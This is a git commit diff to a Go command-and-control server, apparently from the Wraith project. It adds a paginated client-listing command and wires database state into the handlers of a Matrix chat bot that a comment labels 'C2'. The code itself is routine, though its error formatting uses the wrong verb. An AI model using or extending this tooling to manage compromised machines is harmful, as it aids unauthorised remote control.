chore: working (but ugly) client list

This commit is contained in:
0x1a8510f2 2023-06-11 17:30:44 +01:00
parent 1d8ca57faf
commit e000fa79f1
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
4 changed files with 33 additions and 17 deletions

View File

@ -1,8 +1,10 @@
package main
import (
"encoding/json"
"fmt"
"reflect"
"strconv"
"strings"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
@ -53,6 +55,19 @@ func CmdX(ctx lib.CommandContext, arg string) (response string, errResponse erro
return communicator(ctx)
}
func CmdL(ctx lib.CommandContext, arg string) (string, error) {
page, err := strconv.Atoi(arg)
if err != nil {
return "", fmt.Errorf("could not parse argument: %e", err)
}
clients, err := ctx.State.ClientGetPage(page*10, 10)
if err != nil {
return "", fmt.Errorf("could not get page from database: %e", err)
}
clientListString, _ := json.Marshal(clients)
return string(clientListString), nil
}
func CmdH(ctx lib.CommandContext, arg string) (string, error) {
switch strings.ToLower(arg) {
case "":
@ -67,6 +82,8 @@ func ExecCmd(ctx lib.CommandContext, command string) (string, error) {
switch strings.ToLower(keyword) {
case "x":
return CmdX(ctx, arg)
case "l":
return CmdL(ctx, arg)
case "h":
return CmdH(ctx, arg)
}

View File

@ -36,7 +36,6 @@ type request struct {
}
func MkState() *state {
//db, err := gorm.Open(sqlite.Open("file::memory:"), &gorm.Config{})
db, err := gorm.Open(sqlite.Open("./test.db"), &gorm.Config{})
if err != nil {
panic("failed to open memory db")
@ -69,9 +68,9 @@ func (s *state) ClientGet(id string) (client, error) {
}
func (s *state) ClientGetPage(offset, limit int) ([]client, error) {
page := make([]client, limit)
result := s.db.Order("first_heartbeat_time ASC").Find(&page)
return page, result.Error
clients := make([]client, limit)
result := s.db.Order("first_heartbeat_time ASC").Offset(offset).Limit(limit).Find(&clients)
return clients, result.Error
}
// Save/update a Wraith client entry.

View File

@ -9,4 +9,5 @@ type CommandContext struct {
Config *Config
Client *mautrix.Client
Radio *radio.Radio
State *state
}

View File

@ -72,19 +72,6 @@ func main() {
sigchan := make(chan os.Signal, 2)
signal.Notify(sigchan, syscall.SIGTERM, syscall.SIGINT)
//
// Set up Matrix comms for C2.
//
matrixBotCtx, stopMatrixBot := context.WithCancel(context.Background())
var matrixBotWait sync.WaitGroup
client := MatrixBotInit(matrixBotCtx, c, &matrixBotWait)
MatrixBotRunStartup(client, c)
MatrixBotEventHandlerSetUp(lib.CommandContext{
Config: &c,
Client: client,
Radio: &pr,
})
//
// Main body.
//
@ -95,6 +82,18 @@ func main() {
// Start pinecone.
go pr.Start()
// Set up Matrix comms for C2.
matrixBotCtx, stopMatrixBot := context.WithCancel(context.Background())
var matrixBotWait sync.WaitGroup
client := MatrixBotInit(matrixBotCtx, c, &matrixBotWait)
MatrixBotRunStartup(client, c)
MatrixBotEventHandlerSetUp(lib.CommandContext{
Config: &c,
Client: client,
Radio: &pr,
State: s,
})
client.JoinedRooms()
// Start receiving Wraith messages.